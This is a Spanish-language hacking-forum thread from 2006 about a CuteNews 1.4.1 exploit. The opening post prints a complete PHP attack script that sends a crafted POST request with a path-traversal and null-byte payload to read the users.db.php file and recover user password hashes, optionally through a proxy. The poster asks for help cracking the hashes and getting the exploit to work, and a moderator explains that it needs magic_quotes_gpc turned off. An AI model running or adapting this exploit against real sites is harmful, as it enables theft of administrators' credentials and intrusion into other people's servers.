elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 09:25  


Tema destacado: Deseas probar algunas mejoras a la interfaz del foro? Prueba cake! acerca de

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  Cutenews 1.4.1 admin Hash Exploit...
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Cutenews 1.4.1 admin Hash Exploit...  (Leído 2,179 veces)
jcroot

Desconectado Desconectado

Mensajes: 64


Ver Perfil
Cutenews 1.4.1 admin Hash Exploit...
« en: 11 Agosto 2006, 00:28 »

Despues de batallar por mi cuenta y leyendo algo en Google encontre un exploit para Cutenews 1.4.1

Hay algo que no entiendo y no me cuadra... Haber si me explico pero primero les dejare el exploit.

Código:
<?php
// Happy NEW Iranian year .
// Happy Norouz ( PERSIAN celebration )
// CuteNews 1.4.1 (CutePHP.com) Hash password Finder
// by Hamid Ebadi
// http://hamid.ir
// Bug Discovered and Exploited by Hamid Ebadi .: Hamid Network Security Team :.
// run it from your browser...
// make these changes in php.ini if you have troubles with this script

//allow_call_time_pass_reference = on
//register_globals = On

error_reporting(0);
echo '<head><title>CuteNews 1.4.1 user Hash password Finder</title>
      <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
      <style type="text/css">
      <!--
      body,td,th {color: #000000;}
      body {background-color:EBEBEB #;}
      .Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; }
      .Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;
        font-weight: bold;

              }
      -->
      </style></head>
      <body>
<h2>CuteNews 1.4.1 (and Below) user Hash password Finder </h2>
 <p class="Stile6">Security ? . </p>
 <p class="Stile6">Bug Discovered and Exploited by Hamid Ebadi <a href="http://www.hamid.ir" target="_blank">.: Hamid Network Security Team :.</a></p>
<p class="Stile5">Happy Norouz ( PERSIAN new year celebration ) Greetz to all Iranian Hackers spacially my friends in ihsteam.com c0d3r.org kapda.ir simorgh-ev.com hat-squad.com blacknews.ws ashiyane.com websecurity.ir crouz.com shabgard.org hackerz.ir and ...</p>



<p class="Stile6">read this paper about <a href="http://www.hamid.ir/security/" target="_blank">CuteNews 1.4.1 vulnerability</a></p>
<table width="84%" >
  <tr>
    <td width="43%">
     <form name="form1" method="post" action="'.$PHP_SELF.'?path=value&host=value&". "port=value&command=value&proxy=value">
      <p>
       <input type="text" name="host">
      <span class="Stile5">hostname (ex: www.sitename.com) </span></p>
      <p>
        <input type="text" name="path">
        <span class="Stile5">path (ex: /cutenews/example2.php ) </span></p>
      <p>
      <input type="text" name="port">
        <span class="Stile5">specify a port other than 80 (default value) </span></p>
      <p>
      <input type="text" name="proxy">
        <span class="Stile5">send exploit through an HTTP proxy (ip:port) </span></p>
      <p>
      <input type="text" name="command">
        <span class="Stile5">specify a file other than /../users.db.php%00 to read </span></p>
      <p>
          <input type="submit" name="Submit" value="go!">
      </p>
<p class="Stile5">Spacial THX : rgod at <a href="http://rgod.altervista.org" target="_blank">http://rgod.altervista.org</a> for his great codes (i just change few lines of RGOD old NETQUERY remote commands execution exploit)</p>
    </form></td>
  </tr>
</table>
</body>
</html>';

function show($headeri)
{
$host=$_POST[host];
$path=$_POST[path];
$port=$_POST[port];
$proxy=$_POST[proxy];
$command=$_POST[command];
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
             $ji=0;
             $ci++;
             echo "<td> </td>";
             for ($li=0; $li<=15; $li++)
                      { echo "<td>".$headeri[$li+$ki]."</td>";
       }
            $ki=$ki+16;
            echo "</tr><tr>";
            }
if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else
{echo "<td>".$datai."</td> ";}
$ii++;
$ji++;
}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
                      { echo "<td> </td>";
                       }

for ($li=$ci*16; $li<=strlen($headeri); $li++)
                      { echo "<td>".$headeri[$li]."</td>";
       }

echo "</tr></table>";
}

$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

if ( ($host<>''))
{
if ($port=='') {$port=80;}
if ($path=='') {$path="example2.php";}

if ($command=='') {$command="/..//users.db.php%00";}
$data="archive=".$command;
if ($proxy=='')
       {$packet="POST ".$path." HTTP/1.1\r\n";}
else
       {
        $c = preg_match_all($proxy_regex,$proxy,$is_proxy);
        if ($c==0) {
                    echo 'check the proxy...<br>';
             die;
            }
         else
        {$packet="POST http://".$host.$path." HTTP/1.1\r\n";}
        }

$packet.="Accept: */*\r\n";
$packet.="Referer: http://".$host.$path."\r\n";
$packet.="Accept-Language: it\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1) Hamid/2006\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Keep-Alive\r\n";
$packet.="Cache-Control: no-cache\r\n\r\n";
$packet.=$data;

echo '<br> Sending exploit to '.$host.'<br>';

if ($proxy=='')
           {$fp=fsockopen(gethostbyname($host),$port);}
           else
           {$parts=explode(':',$proxy);
     echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
     $fp=fsockopen($parts[0],$parts[1]);
     if (!$fp) { echo 'No response from proxy...';
   die;
         }

     }
echo $packet ;
show($packet);
fputs($fp,$packet);

if ($proxy=='')
{ $data='';
     while (!feof($fp))
     {
      $data.=fgets($fp);
     }
}
else
{
$data='';
   while ((!feof($fp)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$data)))
   {
      $data.=fread($fp,1);
   }

}
fclose($fp);
if (eregi('HTTP/1.1 200 OK',$data))
    {echo 'Exploit sent...<br> If CuteNews 1.4.1 is unpatched and vulnerable <br>';
     echo 'you will see '.htmlentities($command).' output inside HTML...<br><br>';
    }
else
    {echo 'Error, see output...';}

//show($data); //debug: show output in a packet dump...
//echo nl2br(htmlentities($data));
echo $data;
}
?>

Vamos por pasos... En primer lugar que es esto?

Bueno se trata de un script en php que se encarga de encontrar el HASH de cualquier usuario que este en un archivo llamado: users.db.php del cutenews

Sabiendo el HASH del admin claro que se sabe cual es el pass no? la pregunta es como se obtiene el pass mediante el Hash? espero y alguien me responda.

Otra cosa...

Intente hacer funcionar este exploit pero no funciono, hice todo lo que me pide ahi, copie el codigo o exploit y lo guarde como cutenewsexploit.php y lo subi a mi server para probar con mi antigua web q usa CuteNews 1.4.1 la cual no he actualizado.

Pero no funciona, al tratar de hacerlo funcionar me da este error:

Warning: file(/home/fulanito/public_html/web/cutenews/data/archives//../users.db.php\0.news.arch): failed to open stream: No such file or directory in /home/fulanito/public_html/web/cutenews/inc/shows.inc.php on line 583

Warning: Invalid argument supplied for foreach() in /home/fulanito/public_html/web/cutenews/inc/shows.inc.php on line 601


La pregunta es que estoy haciendo mal?
Como hacer funcionar este exploit ya que me parece interesante, si se fijan bien la ruta correcta a mi sistema de news osea a mi cutenews seria:

/home/fulanito/public_html/web/cutenews/data/users.db.php

(Almenos que en cutenews 1.4.1 sea diferente ya que creo que asi es la ruta con 1.4.5)

Que esta mal? Yo o el exploit? He tratado de mirar esta parte del exploit que tiene que ver con la ruta pero no pillo el problema aun:

Lineas: 114 y 115 si usas Dreamweaver

Código:
if ($command=='') {$command="/..//users.db.php%00";}
$data="archive=".$command;

Haber si me dan una mano con esto, de ante mano gracias.
« Última modificación: 11 Agosto 2006, 00:30 por jcroot » En línea
sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.947


Lavando Platos


Ver Perfil WWW
Re: Cutenews 1.4.1 admin Hash Exploit...
« Respuesta #1 en: 11 Agosto 2006, 00:42 »

quita las magic quotes en tu servidor.. con las magic no se puede explotar este bug.
Saludos!!
En línea

jcroot

Desconectado Desconectado

Mensajes: 64


Ver Perfil
Re: Cutenews 1.4.1 admin Hash Exploit...
« Respuesta #2 en: 11 Agosto 2006, 00:53 »

quita las magic quotes en tu servidor.. con las magic no se puede explotar este bug.
Saludos!!

Hola Gracias por responder, disculpa me ignorancia pero me podrias decir que son las magic quotes ?

En si en si el server es de pago y no acceso total al root, pero tendria que ver algo con php.ini ?
En línea
sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.947


Lavando Platos


Ver Perfil WWW
Re: Cutenews 1.4.1 admin Hash Exploit...
« Respuesta #3 en: 11 Agosto 2006, 00:59 »

si es en el php.ini, donde dice:

magic_quotes_gpc = On

pones Off.

tambien puedes hacerlo en tiempo de ejecucion, pero tendrias que editar el cutenews..

sinembargo.. mejor dejalas On, ya que si las desactivas, serias vulnerable, y por el momento no lo eres.

Saludos!!
En línea

jcroot

Desconectado Desconectado

Mensajes: 64


Ver Perfil
Re: Cutenews 1.4.1 admin Hash Exploit...
« Respuesta #4 en: 11 Agosto 2006, 05:31 »

si es en el php.ini, donde dice:

magic_quotes_gpc = On

pones Off.

tambien puedes hacerlo en tiempo de ejecucion, pero tendrias que editar el cutenews..

sinembargo.. mejor dejalas On, ya que si las desactivas, serias vulnerable, y por el momento no lo eres.

Saludos!!

Gracias por responder, bueno como te digo el server que uso es de pago y dudo que quieran poner el magic queotes off... Dices q para que funcione este script el magic quotes donde esta alojado el script debe estar en off cierto? pero por que?

En línea
jcroot

Desconectado Desconectado

Mensajes: 64


Ver Perfil
Re: Cutenews 1.4.1 admin Hash Exploit...
« Respuesta #5 en: 11 Agosto 2006, 05:39 »

Una pregunta no me quedo algo claro...

En que server tienen que estar Off Los Magic Quotes? En el server donde esta alojado el exploit o donde esta el cutenews? pq si es donde esta el cutenews no tiene sentido no?

Ya cheque en mi server con un

Código:
<?php
phpinfo();
?>

Y encontre esto:

magic_quotes_gpc   On   On
magic_quotes_runtime   Off   Off
magic_quotes_sybase   Off   Off
En línea
sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.947


Lavando Platos


Ver Perfil WWW
Re: Cutenews 1.4.1 admin Hash Exploit...
« Respuesta #6 en: 11 Agosto 2006, 06:26 »

obviamente en el de cutenews.. dices que es tuyo, y si quieres probar como funciona el exploit debes desactivar las magic..

Saludos!!
En línea

jcroot

Desconectado Desconectado

Mensajes: 64


Ver Perfil
Re: Cutenews 1.4.1 admin Hash Exploit...
« Respuesta #7 en: 11 Agosto 2006, 23:19 »

obviamente en el de cutenews.. dices que es tuyo, y si quieres probar como funciona el exploit debes desactivar las magic..

Saludos!!

Asi es, el cutenews esta en el mimsmo server y ya probe el exploit y me va de maravilla...  Lo probe localmente editando el php.ini pero el problema es el siguiente:

Que sentido tiene este exploit en explotarlo si el cutenews esta en un server ajeno y seguro q tendra magic quotes on?
En línea
sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.947


Lavando Platos


Ver Perfil WWW
Re: Cutenews 1.4.1 admin Hash Exploit...
« Respuesta #8 en: 13 Agosto 2006, 04:12 »

ninguno, esto solo sirve si tiene las magic off. por facilidad muchos programadores prefieren no tener las magic on, ya que agrega molestas slashes antes de caracteres, que ellos luego necesitan.. pero por defecto estan on. (desde no se que version)

Saludos!!
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines